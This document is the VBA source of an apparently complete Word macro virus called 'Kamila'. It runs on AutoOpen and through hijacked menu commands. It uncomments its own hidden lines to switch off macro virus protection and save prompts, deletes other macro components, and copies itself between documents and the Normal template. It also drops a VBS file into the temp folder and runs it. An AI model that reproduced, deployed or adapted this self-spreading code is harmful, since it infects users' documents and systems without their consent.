Attribute VB_Name = "Kamila"
Option Base 1

Sub KamilaRuns()
	On Error Resume Next
	For i = 19 To 64
		If KamExDoc Then
			str1 = ActiveDocument.VBProject.VBComponents("Kamila").CodeModule.Lines(i,1)
			ActiveDocument.VBProject.VBComponents("Kamila").CodeModule.Replace i, Right(str1,Len(str1)-1)
		ElseIf KamExTemp Then
			str1 = NormalTemplate.VBProject.VBComponents("Kamila").CodeModule.Lines(i,1)
			NormalTemplate.VBProject.VBComponents("Kamila").CodeModule.Replace i, Right(str1,Len(str1)-1)
		End If
	Next i
	Call Atack()
End Sub

Sub Atack()
'    On Error Resume Next
'
'   With Options
'        .ConfirmConversions = False
'        .VirusProtection = False
'        .SaveNormalPrompt = False
'    End With
'    ShowVisualBasicEditor = False
'    ActiveDocument.ReadOnlyRecommended = False
'    If KamExDoc And KamExTemp Then Exit Sub
' 
'    With NormalTemplate.VBProject
'        For i = 1 To .VBComponents.Count
'            If (.VBComponents(i).Name <> "Kamila") And (.VBComponents(i).Name <> "frmAbout") Then _
'                            .VBComponents.Remove .VBComponents(i)
'        Next i
'        If Not KamExTemp Then .VBComponents("ThisDocument").CodeModule.DeleteLines 1 _
'        , .VBComponents("ThisDocument").CodeModule.CountOfLines
'    End With
'    With ActiveDocument.VBProject
'        For i = 1 To .VBComponents.Count
'            If (.VBComponents(i).Name <> "Kamila") And (.VBComponents(i).Name <> "frmAbout") Then _
'                            .VBComponents.Remove .VBComponents(i)
'        Next i
'        If Not KamExDoc Then .VBComponents("ThisDocument").CodeModule.DeleteLines 1 _
'        , .VBComponents("ThisDocument").CodeModule.CountOfLines
'    End With
'    '
'    If KamExDoc Then
'        ActiveDocument.VBProject.VBComponents("Kamila").Export "C:\kamila.dll"
'        ActiveDocument.VBProject.VBComponents("ThisDocument").Export "C:\kama.dll"
'        NormalTemplate.VBProject.VBComponents.Import "C:\kamila.dll"
'        NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\kama.dll"
'        NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, 4
'    ElseIf KamExTemp Then
'        NormalTemplate.VBProject.VBComponents("Kamila").Export "C:\kamila.dll"
'        NormalTemplate.VBProject.VBComponents("ThisDocument").Export "C:\kama.dll"
'        ActiveDocument.VBProject.VBComponents.Import "C:\kamila.dll"
'        ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\kama.dll"
'        ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, 4
'    End If
'    Call DropWorm()
'    Kill "C:\kamila.dll"
'    Kill "C:\kama.dll"
'    ActiveDocument.Save
'    NormalTemplate.Save
End Sub

Sub DropWorm()
	On Error Resume Next
	Dim fso As Object
	Dim wshShell, file1 As Object
	Dim fileDrop As Object
	Set fso=CreateObject("Scripting.FileSystemObject")
	Set wshShell=CreateObject("WScript.Shell")
	Set file1=fso.OpenTextFile("C:\kamila.dll",1)
	Set fileDrop=fso.CreateTextFile(fso.GetSpecialFolder(2).Path & "\kam_drop.vbs",True)
	While Not file1.AtEndOfStream
		strIn=file1.ReadLine
		If strIn="'<BODY>" Then
			strIn=file1.ReadLine
			While strIn<>"'</BODY>"
				fileDrop.WriteLine Right(strIn,Len(strIn)-1)
				strIn=file1.ReadLine
			Wend
		End If
	Wend
	file1.Close
	fileDrop.Close
	wshShell.Run fso.GetSpecialFolder(2).Path & "\kam_drop.vbs"
	Set fso=Nothing
	Set wshShell=Nothing
	Set file1=Nothing
	Set fileDrop=Nothing
End Sub

Sub ViewVbCode()
    On Error Resume Next
    Call KamilaRuns()
End Sub

Sub HelpAbout()
    On Error Resume Next
    Call KamilaRuns()
End Sub

Function KamExDoc() As Boolean
    On Error Resume Next
    KamExDoc = False
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "Kamila" Then KamExDoc = True
    Next i
End Function

Function KamExTemp() As Boolean
    On Error Resume Next
    KamExTemp = False
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "Kamila" Then KamExTemp = True
    Next i
End Function

Sub AutoOpen()
    On Error Resume Next
    Call KamilaRuns()
End Sub

Sub ToolsMacro()
    On Error Resume Next
    Call KamilaRuns()
End Sub

Sub FileTemplates()
    Call KamilaRuns()
End Sub


'<BODY>
'MsgBox "Hi"
'</BODY>

